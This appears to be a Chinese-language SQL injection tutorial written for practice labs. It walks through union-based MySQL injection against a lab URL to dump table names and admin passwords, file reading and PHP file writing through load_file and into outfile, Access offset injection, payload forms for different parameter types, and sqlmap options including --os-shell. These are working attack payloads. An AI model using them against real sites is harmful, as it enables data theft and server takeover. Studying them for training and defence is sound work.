数据库类型

MySQL

低权限注入

MySQL低权限注入通常指攻击者能够通过注入恶意的SQL代码来与数据库交互,但由于数据库用户权限较低,攻击者的权限受到限制,无法直接执行高权限的操作(如修改数据库结构、访问敏感数据等)。
常规步骤:

  • 判断是否存在SQL注入
    http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1 页面返回正常,而 http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 页面报错,则说明此处存在SQL注入漏洞。

  • 判断字段数
    http://pu2lh35s.ia.aqlab.cn/?id=1 order by 2 页面返回正常,而 http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3 页面报错,则说明当前表一共有2个字段。

  • 判断回显位置
    http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,2 ,页面显示2,说明数字2的位置可以回显。

  • 查看数据库相关信息(可选步骤)

    • 数据库名:database()
    • 数据库版本:version()
    • 数据库用户:user()
    • 操作系统:@@version_compile_os
  • 查看当前数据库的表名
    http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    1
    2
    3
    4
    information_schema
    tables
    table_schema
    table_name
  • 查看当前表的字段名
    http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'

    1
    2
    3
    4
    5
    information_schema
    columns
    table_schema
    table_name
    column_name
  • 查看表中字段的数据
    http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(password) from admin

高权限注入

使用user()查看到当前用户如果为root,则可以尝试进行一些高权限用户的操作。

  • 文件读取:
    select load_file('[目标文件路径]')

    前提条件:
    1、secure_file_priv有权限
    2、对指定路径的指定文件有读取权限
    3、能使用union联合注入

    如果对单引号进行了过滤,可以使用16进制编码的形式绕过。

    select load_file(‘/flag.txt’) ==> select load_file(0x2f666c61672e747874)

  • 文件写入:

    • select load_file('[本地文件路径]') into outfile '[目标文件路径]';
    • select '<?php phpinfo();?>' into outfile '[目标文件路径]';

Access

Access数据库的结构:

1
2
3
4
数据库名
表名
列名
数据

数据库特性

  • 没数据库用户
  • 没数据库权限
  • 没数据库查询参数
  • 没高权限注入的说法

偏移注入

Access数据库并不像MySQL那样拥有information_schema这种包含所有库名、表名、列名的数据库,因此只能通过字典猜解表名和列名。
如果表名已知,列名未知,可以采用偏移注入。

  • 判断注入点

    127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
    127.0.0.1/asp/index.asp?id=1513 and 1=2 错误

  • 查询字段个数

    127.0.0.1/asp/index.asp?id=1513 order by 22 正常
    127.0.0.1/asp/index.asp?id=1513 order by 23 错误

  • 爆出显位

    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

  • 判断表内存在的字段个数

    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
    直到……
    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
    说明了admin表下有6个字段

    用 * 代表 admin 表的字段数,计算 * 代替字符的位数。
    Access偏移注入原理,基本公式为:
    order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
    也就是:
    * = 6个字符
    2 × * = 12个字符
    22 - 12 = 10个字符

  • 爆列名数据

    一级偏移语句:
    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

    如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:

    二级偏移语句:
    127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
    注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4


MSSQL、PostgreSQL和MySQL差不多,语法差别网上搜。

数据类型

  • 数字:一般不用考虑符号
    ?id=1 and 1=2 union select...

    select from tables where id=$id
    select from tables where id=1 and 1=2 union select…

  • 字符:一般闭合单引号
    ?name=test' and 1=2 union select... --+

    select from tables where name=’$s’
    select from tables where name=’test’ and 1=2 union select… –+’

  • 搜索:一般闭合单引号加通配符
    ?search=test%' union select... and '%'='

    select from tables where search like ‘%$s%’
    select from tables where search like ‘%test%’ union select… and ‘%’=’%’

  • 编码:Payload需要进行编码后发送

  • 加密:Payload需要进行加密后发送

  • json
    {"username": "admin' and 1=2 union select... --+", "password": "test"}

    select * from tables where username=’{$username}’
    select * from tables where username=’admin’ and 1=2 union select… #’

注入工具-Sqlmap

Sqlmap用户手册:https://sqlmap.highlight.ink/usage

普通注入

  • 判断是否存在SQL注入 sqlmap -u [url]

    出现下面这样的信息则说明存在SQL注入。

  • 爆库 --dbs

  • 爆表 --tables -D [库名]

  • 爆字段 --columns -T [表名] -D [库名]

  • 爆数据 --dump -C [字段名] -T [表名] -D [库名]

编码注入

  • base64:–tamper参数指定模板 base64encode.py
  • 宽字节:–tamper参数指定模板 apostrophenullencode.py
  • URL编码:–tamper参数指定模板 charencode.py
  • 等等

权限注入

  • 文件操作
    • –file-read:读取后端 DBMS 文件系统中的文件
    • –file-write:写入到后端 DBMS 文件系统中的文件
    • –file-dest:使用绝对路径写入到后端 DBMS 中的文件
  • 命令执行
    • –os-shell:调出交互式操作系统 shell
    • –os-cmd:执行操作系统命令
  • 等等